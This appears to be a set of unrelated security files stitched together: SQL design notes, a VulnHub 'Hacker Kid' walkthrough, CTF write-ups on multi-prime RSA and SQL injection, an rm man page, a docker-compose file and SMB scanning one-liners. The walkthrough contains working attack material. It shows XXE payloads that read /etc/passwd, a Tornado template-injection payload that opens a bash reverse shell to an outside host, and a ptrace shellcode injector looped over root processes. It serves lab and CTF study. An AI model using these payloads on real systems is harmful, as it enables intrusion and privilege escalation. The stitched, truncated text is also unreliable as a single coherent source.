alter table employee add CONSTRAINT emp_dep_fk FOREIGN KEY (dep_id) REFERENCES department(id);
-- 删除外键;
alter table employee drop foreign key emp_dep_fk;
-- 级联操作
-- 添加外键，设置级联更新;
alter table employee add CONSTRAINT emp_dep_fk FOREIGN KEY (dep_id) REFERENCES department(id) on update cascade;
-- 添加外键，设置级联更新，设置级联删除;
alter table employee add CONSTRAINT emp_dep_fk FOREIGN KEY (dep_id) REFERENCES department(id) on update cascade on delete cascade;
```
---
## 数据库的设计
### 多表之间的关系
**一对一**
场景 : 人和身份证
分析：一个人只有一个身份证，一个身份证只能对应一个人。
实现方式：在任意一方设置唯一约束的外键指向另一方的主键;
**一对多（多对一）**
场景 : 部门和员工
分析：一个部门有多个员工，一个员工只能对应一个部门;
实现方式：在多的一方建立外键，指向一的一方的主键。
**多对多**
场景 : 学生和课程：
分析：一个学生可以选择很多门课，一个课程也可以被很多学生选择;
实现方式：多对多需要借助第三张中间表。
---
## 事物
如果一个包含多个步骤的业务操作，被事物管理，那么这些操作要么同时成功，要么同时失败;
**事物的四大特征**
- 原子性：是不可分割的最小操作单位，要么同时成功，要么同时失败;
- 持久性：当事务提交或回滚后，数据库会持久化的保存数据;
- 隔离性：多个事物之间，相互隔离;
- 一致性：事务操作前后，数据总量不变;
**事务的隔离级别**
多个事物之间隔离的、相互独立的。但是如果多个事务操作同一批数据，则会引发一些问题，设置不同的隔离级别就可以解决这些问题。
存在的问题：
- 脏读：一个事务，读取到另一个事务中没有提交的数据;
- 不可重复度(虚读)：在一个事务中，两次读取到的数据不一样;
- 幻读：一个事务操作(DML)数据表中的所有记录，另一个事务添加了一条数据，则第一个事物查询不到自己的修改。
隔离级别：
- read uncommitted : 读未提交
- 产生的问题：脏读、不可重复读、幻读;
- read committed : 读已提交
- 产生的问题：不可重复读、幻读;
- repeatable : 可重复读（Oracle 默认）
- 产生的问题：幻读;
- serializable : 串行化
- 产生的问题：可以解决所有的问题;
注意：隔离级别从小到大安全性越来越高，但是效率越来越低;
查询数据隔离级别的语句：
```sql
select @@tx_isolation;
```
数据库隔离等级的设置语句：
```sql
set global transation isolation level 级别字符串;
```
|
sec-knowleage
|
# Hacker kid 1.0.1
> https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
靶场IP：`192.168.32.230`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.230
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 08:59 EDT
Nmap scan report for 192.168.32.230
Host is up (0.00058s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
9999/tcp open http Tornado httpd 6.1
MAC Address: 00:0C:29:95:5F:70 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.84 seconds
```
访问80端口
查看页面源代码，找到一个参数：`page_no`
爆破参数内容为`21`。
```
Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local
```
> 好的，所以你想让我说点什么？
> 我是一个黑客小子，不是一个愚蠢的黑客。所以我创建了一些子域，以便随时返回服务器！
> 在我的许多家中......一个这样的家..一个这样的家对我来说：hackers.blackhat.local
配置本地hosts
```
192.168.32.230 hackers.blackhat.local
```
再挖一个域名，写入`/etc/hosts`。
```
┌──(root💀kali)-[/tmp]
└─# dig @192.168.32.230 hackers.blackhat.local
; <<>> DiG 9.16.11-Debian <<>> @192.168.32.230 hackers.blackhat.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 21702
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 19e1a354c336d6d601000000631dde5f1dacdb299c22e5b5 (good)
;; QUESTION SECTION:
;hackers.blackhat.local. IN A
;; AUTHORITY SECTION:
blackhat.local. 3600 IN SOA blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
;; Query time: 0 msec
;; SERVER: 192.168.32.230#53(192.168.32.230)
;; WHEN: Sun Sep 11 09:10:54 EDT 2022
;; MSG SIZE rcvd: 125
```
访问：`http://hackerkid.blackhat.local/`
抓包分析，body是xml格式，尝试使用XXE攻击
```
POST /process.php HTTP/1.1
Host: hackerkid.blackhat.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 178
Origin: http://hackerkid.blackhat.local
Connection: close
Referer: http://hackerkid.blackhat.local/
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>
]><root><name></name><tel></tel><email>&xxe;</email><password></password></root>
```
存在XXE漏洞
我们可以从上面的截图中看到，电子邮件被文件"/etc/passwd"的内容所取代。此前，用户曾暗示过家。因此，我们可以假设用户"saket"的主目录中有一些东西。当我尝试打开 .bashrc 文件时，它失败了。但是，在使用 PHP 包装器时，我们可以获取 base64 格式的内容。有效载荷如下。
```
POST /process.php HTTP/1.1
Host: hackerkid.blackhat.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 235
Origin: http://hackerkid.blackhat.local
Connection: close
Referer: http://hackerkid.blackhat.local/
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name></name>
<tel></tel>
<email>
&xxe;</email>
<password></password>
</root>
```
访问：`http://192.168.32.230:9999/login?next=%2F`，输入：`saket/Saket!#$%@!!`
登录成功
按照提示，输入参数：`name`
我们可以看到它返回的内容与我在"name"参数中发送的内容相同。因此，我们可以尝试一个简单的 SSTI 有效载荷。
如我们所见，命令被执行，我们得到了 `7*7` 的结果 49。这意味着我们可以注入一个可以为我们提供反向 shell 的有效负载。幸运的是，它使用了 **Tornado**，我们可以使用一个非常简单的有效载荷来获得反向 shell。
```
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.32.130/1234 0>&1"')}}
```
> 当然，我们必须对它进行 URL 编码
反弹成功
root 权限提升是这台机器的一个有趣部分。让我们检查机器上不同二进制文件的功能。
```
saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
/snap/core20/1623/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```
EXP
```
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
```
因为需要找root进程进行注入，所以简单写个脚本对root进程进行批量尝试
```
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
```
本地执行成功后，通过netstat可以看到开启监听了5600端口，通过nc连接后即可执行命令
|
sec-knowleage
|
# Super Safe RSA 3
Cryptography, 600 points
## Description:
> The more primes, the safer.. right.?.?
## Solution:
Connecting to the remote service provided an output similar to the following:
```console
root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_3# nc 2018shell3.picoctf.com 54915
c: 9682363545060380125209385313800202477319292745861123848863447818863421199675467967874225949345474585787400202680573623360502692183003815269122363057528461983050101442972540257479050146757910242797127562964020429331869752245461847281474668914820864170968567941037656141925374739740125238046027120302492188
n: 12982193461064785564613897608601540375018705560673430204413987884084649884974390381362450942941674493912645262856007141314803974278154472727819101331274600806427297151180361639734198072534533933342745875141781060149241403196411999943781657274439570424519078973220878896243522068777913138960919397850924197
e: 65537
```
It turns out the RSA isn't limited to two primes - n can be created from multiple primes. Everything else still applies, so if we can factor n, we can decipher c.
A factorization calculator can be found [here](https://www.alpertron.com.ar/ECM.HTM).
The code:
```
from pwn import *
import gmpy2
c = 10723092190573436893427535262518486816947413193998326132602353454677155152091094243288024551798795461356346571827856551833484526645487453517454321746447984656584723667889087939402798003103699397614649966130894865310266901426370592157247414921370627680407214153361942287238152247460236614277782710397061777
e = 65537
n = 11519675925519997486312788231168483713469024664484158615186408445458138186835881204486741332292230873093188311473262072362029343865926702714057039101465235697127425035798231523524737580329054958128472227106432645819529651435075367173038962800369495530398468141608436810399146216769200598968770425254478111
#https://www.alpertron.com.ar/ECM.HTM
r = [2258669983,2426036101,2435230003,2457368657,2492126459,2504786551,2580640079,2633613641,2668125919,2689910999,2819565949,2846315341,2903152657,2962793963,3098061409,3456744829,3507271289,3514264627,3539275907,3577746091,3584129251,3586647227,3616554797,3625117157,3708264397,3742944367,3848405887,3865852561,3920390431,4037867321,4251606701,4269328807]
assert(n == reduce(lambda x, y: x * y, r))
phi_n = 1
for i in range(len(r)):
phi_n *= (r[i] - 1)
log.info("phi_n: {}".format(phi_n))
d = gmpy2.invert(e, phi_n)
log.info("d: {}".format(d))
plaintext = pow(c, d, n)
log.info("plaintext: {}".format(str(plaintext)))
plaintext_decoded = (format(plaintext, 'x')).decode("hex")
log.success("Flag: {}".format(plaintext_decoded))
```
The output:
```console
root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_3# python solve.py
[*] phi_n: 11519675807371388412779370353252354540872214039075924642052999278352576874198856150975568189970984919588781232664216651134500772277220152766792880905433056987343025335020118402239958301797644896345686712976607096745780996366812889200022748770349764404994516412356048943521752606885036425216000000000000000
[*] d: 6906145573822754333248416332442513540608652968480294782890006281130853493252255339301922184170163380848119606197675698049567959210399923740898916501738938447483215060392456963608464862255359079259380669741533680686356338362330872891174356457986209980197972898385174222057305948159254789611008132810473473
[*] plaintext: 13016382529449106065908111207362094589157720258852086801305724660026057919050109
[+] Flag: picoCTF{p_&_q_n0_r_$_t!!_3543941}
```
The flag: picoCTF{p_&_q_n0_r_$_t!!_3543941}
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH RM 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
rm \- 移除文件或者目录
.SH 概述
\fBrm\fP [\fI\,选项\/\fP]... \fI\,文件列表\/\fP...
.SH 描述
本手册页记录 GNU 版本的 \fBrm\fP。\fBrm\fP 移除每一个指定的文件。默认情况下，它不删除目录。
.P
如果指定 \fI\-I\fP 或 \fI\-\-interactive=once\fP 选项，且给出了三个以上的文件或指定了 \fI\-r\fP, \fI\-R\fP 或
\fI\-\-recursive\fP 选项，则 \fBrm\fP 将提示并询问用户是否继续进行整个操作。如果未得到用户的确认，则整个命令将被中止。
.P
否则，如果一个文件不可写、标准输入是一个终端且未给出 \fI\-f\fP 或 \fI\-\-force\fP 选项，或 \fI\-\-interactive=always\fP
选项被给出， \fBrm\fP 将提示用户是否删除该文件。如果未得到用户的确认，则该文件将被跳过。
.SH 选项
.PP
删除 (unlink) 给定文件。
.TP
\fB\-f\fP, \fB\-\-force\fP
忽略不存在的文件和参数，从不提示
.TP
\fB\-i\fP
在每次删除前提示
.TP
\fB\-I\fP
在进行递归删除或删除多于三个文件之前提示用户一次；与 \fB\-i\fP 相比较更少干扰用户，但是仍然为大多数操作失误起到保护作用。
.TP
\fB\-\-interactive\fP[=\fI\,WHEN\/\fP]
根据 WHEN 确定提示用户的频率： "never"（从不）、"once" (\fB\-I\fP)、或者 "always" (\fB\-i\fP)；如果没有给定
WHEN 参数，则总是提示用户。
.TP
\fB\-\-one\-file\-system\fP
在递归地删除一个目录结构时，跳过与对应命令行参数不在同一个文件系统中的所有目录
.TP
\fB\-\-no\-preserve\-root\fP
不对 '/' 做特殊处理
.TP
\fB\-\-preserve\-root\fP[=\fI\,all\/\fP]
不要删除“/”（默认行为）；如添加了“all”参数，将拒绝处理与父目录位于不同设备上的命令行参数
.TP
\fB\-r\fP, \fB\-R\fP, \fB\-\-recursive\fP
递归地移除目录及它们的内容
.TP
\fB\-d\fP, \fB\-\-dir\fP
删除空目录
.TP
\fB\-v\fP, \fB\-\-verbose\fP
解释正在发生的情况
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
默认情况下，rm 不移除目录。可以使用 \fB\-\-recursive\fP（\fB\-r\fP 或 \fB\-R\fP）选项来同时移除列出的每个目录及其内容。
.PP
如果需要删除一个文件名以连字符 “\-”起始的文件，例如 '\-foo'，请使用下列命令：
.IP
rm \fB\-\-\fP \fB\-foo\fP
.IP
rm ./\-foo
.PP
请注意，如果你使用 rm
删除一个文件，在有足够技术水平和/或时间的情况下，它的部分内容可能仍然能够被恢复。如果需要更高的保障来使得文件内容不可恢复，请考虑使用
\fBshred\fP(1)。
.SH 作者
由 Paul Rubin, David MacKenzie, Richard M. Stallman 和 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助： <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBunlink\fP(1), \fBunlink\fP(2), \fBchattr\fP(1), \fBshred\fP(1)
.PP
.br
完整文档请见： <https://www.gnu.org/software/coreutils/rm>
.br
或者在本地使用： info \(aq(coreutils) rm invocation\(aq
|
sec-knowleage
|
version: '2'
services:
dns:
image: vulhub/bind:latest
ports:
- "53:53/tcp"
- "53:53/udp"
volumes:
- ./named.conf.local:/etc/bind/named.conf.local
- ./vulhub.db:/etc/bind/vulhub.db
|
sec-knowleage
|
### 基于msf
模块：
`scanner/smb/smb_version`
```bash
msf auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf auxiliary(scanner/smb/smb_version) > set threads 20
threads => 20
msf auxiliary(scanner/smb/smb_version) > exploit
[+] 192.168.1.4:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:XXXXXX) (workgroup:WORKGROUP )
[*] Scanned 39 of 256 hosts (15% complete)
[*] Scanned 61 of 256 hosts (23% complete)
[*] Scanned 81 of 256 hosts (31% complete)
[+] 192.168.1.99:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:XXXXXX) (workgroup:WORKGROUP )
[+] 192.168.1.119:445 ‐ Host is running Windows 2003 R2 SP2 (build:3790) (name:XXXXXX)
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 130 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 181 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 232 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```
### 基于cme（参考第九十三课）
```bash
root@John:~# cme smb 192.168.1.0/24
SMB 192.168.1.4 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack 1
x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True)
SMB 192.168.1.99 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack
x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True)
SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service
Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True
```
### 基于nmap
```bash
root@John:~# nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p 445 192.168.1.119
Starting Nmap 7.70 ( https://nmap.org ) at 2019‐01‐29 08:45 EST
Nmap scan report for 192.168.1.119
Host is up (0.0029s latency).
PORT STATE SERVICE
445/tcp open microsoft‐ds
445/udp open|filtered microsoft‐ds
MAC Address: 00:0C:29:85:D6:7D (VMware)
Host script results:
| smb‐enum‐shares:
| account_used: guest
| \\192.168.1.119\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: \xE8\xBF\x9C\xE7\xA8\x8B\xE7\xAE\xA1\xE7\x90\x86
| Anonymous access: <none>
| Current user access: <none>
| \\192.168.1.119\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: \xE9\xBB\x98\xE8\xAE\xA4\xE5\x85\xB1\xE4\xBA\xAB
| Anonymous access: <none>
| Current user access: <none>
| \\192.168.1.119\E$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: \xE9\xBB\x98\xE8\xAE\xA4\xE5\x85\xB1\xE4\xBA\xAB
| Anonymous access: <none>
| Current user access: <none>
| \\192.168.1.119\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: \xE8\xBF\x9C\xE7\xA8\x8B IPC
| Anonymous access: READ
| Current user access: READ/WRITE
| \\192.168.1.119\share:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ/WRITE
Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds
```
### 基于CMD：
```bash
for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445
```
### 基于powershell：
一句话扫描：
单IP：
```bash
445 | %{ echo ((new‐object Net.Sockets.TcpClient).Connect("192.168.1.1
19",$_)) "$_ is open"} 2>$null
```
多ip：
```bash
1..5 | % { $a = $_; 445 | % {echo ((new‐object
Net.Sockets.TcpClient).Connect("192.168.1.$a",$_)) "Port $_ is open"}
2>$null}
```
多port，多IP：
```bash
118..119 | % { $a = $_; write‐host "‐‐‐‐‐‐"; write‐host
"192.168.1.$a"; 80,445 | % {echo ((new‐object Net.Sockets.TcpClient).Conn
ect("192.168.1.$a",$_)) "Port $_ is open"} 2>$null}
```
> Micropoor
|
sec-knowleage
|
# 1337 Secur1ty
Web, 485 points
## Description:
A website with a registration form and a login form was linked to.
```html
<div id="Login" class="tabcontent">
<form id='login' action='login' method='POST' accept-charset='UTF-8'>
<fieldset style="width:25%">
<legend>Login</legend>
<label for='username'> Username:</label>
<br>
<input type='text' name='username' id='username' maxlength="20" required oninvalid="this.setCustomValidity('Please Enter Username')" oninput="this.setCustomValidity('')"/>
<br><br>
<label for='password'>Password:</label>
<br>
<input type='password' name='password' id='password' maxlength="50" required oninvalid="this.setCustomValidity('Please Enter Password')" oninput="this.setCustomValidity('')"/>
<br><br>
<label for='totp'>TOTP Code:</label>
<br>
<input type='password' name='totp' id='totp' maxlength="6" required oninvalid="this.setCustomValidity('Please Enter TOTP Code')" oninput="this.setCustomValidity('')"/>
<br><br>
<input type='Submit' name='Submit' value='Login' />
</fieldset>
</form>
</div>
<div id="Register" class="tabcontent">
<form id='register-user' action='register_user' method='POST' accept-charset='UTF-8'>
<fieldset style="width:25%">
<legend>Register User</legend>
<label for='firstname'>First Name:</label>
<br>
<input type='text' name='firstname' id='firstname' maxlength="10" pattern = "[a-zA-Z]+" required oninvalid="this.setCustomValidity('Please Enter First Name')" oninput="this.setCustomValidity('')"/>
<br><br>
<label for='lastname'>Last Name:</label>
<br>
<input type='text' name='lastname' id='lastname' maxlength="15" pattern = "[a-zA-Z]+" required oninvalid="this.setCustomValidity('Please Enter Last Name')" oninput="this.setCustomValidity('')"/>
<br><br>
<label for='password'>Password:</label>
<br>
<input type='password' name='password' id='password' maxlength="50" required oninvalid="this.setCustomValidity('Please Enter Password')" oninput="this.setCustomValidity('')"/>
<br><br>
<label for='password'>Phone Number:</label>
<br>
<input type="tel" id="phone" name="phone" pattern="[0-9]{10}" oninvalid="this.setCustomValidity('Please Enter Correct Phone # - ex. 1234567891')" oninput="this.setCustomValidity('')">
<br><br>
<input type='Submit' name='Submit' value="Register"/>
</fieldset>
<b>*** UPON REGISTRATION, ADD QR-CODE TO GOOGLE AUTHENTICATOR APP! ***</b>
</form>
</div>
```
## Solution:
We start by registering to the service:
```console
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# curl -v "http://web6.tamuctf.com/register_user" -X POST --data "firstname=a&lastname=a&password=a&phone=1234567891&Submit=Register"
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 34.208.211.186...
* TCP_NODELAY set
* Connected to web6.tamuctf.com (34.208.211.186) port 80 (#0)
> POST /register_user HTTP/1.1
> Host: web6.tamuctf.com
> User-Agent: curl/7.61.0
> Accept: */*
> Content-Length: 66
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 66 out of 66 bytes
< HTTP/1.1 302 Found
< Server: nginx/1.15.8
< Date: Tue, 12 Mar 2019 19:49:56 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 0
< Connection: keep-alive
< Set-Cookie: userid=3; path=/
< Set-Cookie: secret=TKH4FPK7FOEXG7VW; path=/
< Location: /
<
* Connection #0 to host web6.tamuctf.com left intact
```
Note that we received two cookies: `userid` and `secret`.
We'll return to them later, but first let's take a look around and see what registered users can access.
The main page contains three tabs.
The first tab contains the user profile:
```
Name: a a
Username: aa
Phone: 123-456-7891
Email: aa@1337secur1ty.hak
Account Created On: 03/12/19 19:49
Description:
```
In addition, there's a link to a QR code:
```
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# zbarimg a.png
QR-Code:otpauth://totp/TAMU_CTF?secret=TKH4FPK7FOEXG7VW
scanned 1 barcode symbols from 1 images in 0.17 seconds
```
The secret is identical to the one in the cookie, and in general this is a format that belongs to a Time-based One-time Password protocol, like the ones used by major services for 2 Factor Authentication.
There are mobile applications such as Google Authenticator that upon scanning the QR code, will provide a time-based one-time-password needed in order to login to the application. A web-based alternative can be found [here](https://gauth.apps.gbraad.nl/#main).
Back to the website. Another tab contains the "messages" page, which has a single message:
```
http://web6.tamuctf.com/message?id=2
From: Joe (1337-admin)
Date: 03/12/19
Time: 19:49
Message:
Welcome to 1337 Secur1ty, the family that you want to work at 16 hours a day. Because here at 1337 Secur1ty, we care!
```
Last but not least, there is an "Employees" tab with the following information:
```
ID Username Name Email Phone Joined
1 1337-admin Joe Joeson 1337-admin@l337secur1ty.hak * 03/12/19 19:42
2 ScrubLord Bob Bobson ScrubLord@l337secur1ty.hak * 03/12/19 19:42
3 aa a a aa@1337secur1ty.hak 123-456-7891 03/12/19 19:49
```
Reading a bit about the OTP protocol, I discovered that [the "secret" is simply a base32 encoded value](https://github.com/google/google-authenticator/wiki/Key-Uri-Format). My initial thought was that it was based on the time that the user joined, and since we had this information in the Employees page, we needed to figure out how to generate a secret identical to the Admin's.
However, after registering several users and comparing their secrets, I couldn't find any obvious pattern.
Therefore, I went back to the "messages" page, and attempted to access other messages by modifying the URI parameter.
Changing the ID to "1" revealed the following message:
```
From: Bob (ScrubLord)
Date: 03/12/19
Time: 19:42
Message:
Please don't blow off the meeting today, we need to talk about the cookies.
```
As we saw, the cookie contains a `userid` and a `secret`. We can replace them with other values, but what should they be?
Searching for some other vulnerability in the website, I tried:
```console
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# curl "http://web6.tamuctf.com/message?id='"
Brought to you by the 1337est of Secur1ty!!!
```
It looked like they has some kind of protection against SQL injection, since this message wasn't the regular response for invalid IDs:
```
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# curl "http://web6.tamuctf.com/message?id=f"
<b>From:</b> ()<br><b>Date:</b> //<br><b>Time:</b> <br><b>Message:</b> <br style='margin-bottom:10px;'><br><br><button id='back'>Back</button><script type='text/javascript'>document.getElementById('back').onclick = function () {location.href = '/';};</script>
```
However a slightly more complex value hinted that an SQLi vulnerability is indeed hiding behind the service:
```console
/media/sf_CTFs/tamu/1337_Secur1ty# curl "http://web6.tamuctf.com/message?id=1'%20and%20'1'='1"
<b>From:</b> Bob (ScrubLord)<br><b>Date:</b> 03/12/19<br><b>Time:</b> 19:42<br><b>Message:</b> <br style='margin-bottom:10px;'>Please don't blow off the meeting today, we need to talk about the cookies.<br><br><button id='back'>Back</button><script type='text/javascript'>document.getElementById('back').onclick = function () {location.href = '/';};</script>
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# curl "http://web6.tamuctf.com/message?id=1'%20and%20'2'='1"
<b>From:</b> ()<br><b>Date:</b> //<br><b>Time:</b> <br><b>Message:</b> <br style='margin-bottom:10px;'><br><br><button id='back'>Back</button><script type='text/javascript'>document.getElementById('back').onclick = function () {location.href = '/';};</script>
```
Time to fire up SQLMap:
```console
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# sqlmap -u http://web6.tamuctf.com/message?id=2
___
__H__
___ ___[)]_____ ___ ___ {1.2.5#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:11:46
[13:11:47] [INFO] testing connection to the target URL
[13:11:47] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[13:11:48] [INFO] testing if the target URL content is stable
[13:11:48] [INFO] target URL content is stable
[13:11:48] [INFO] testing if GET parameter 'id' is dynamic
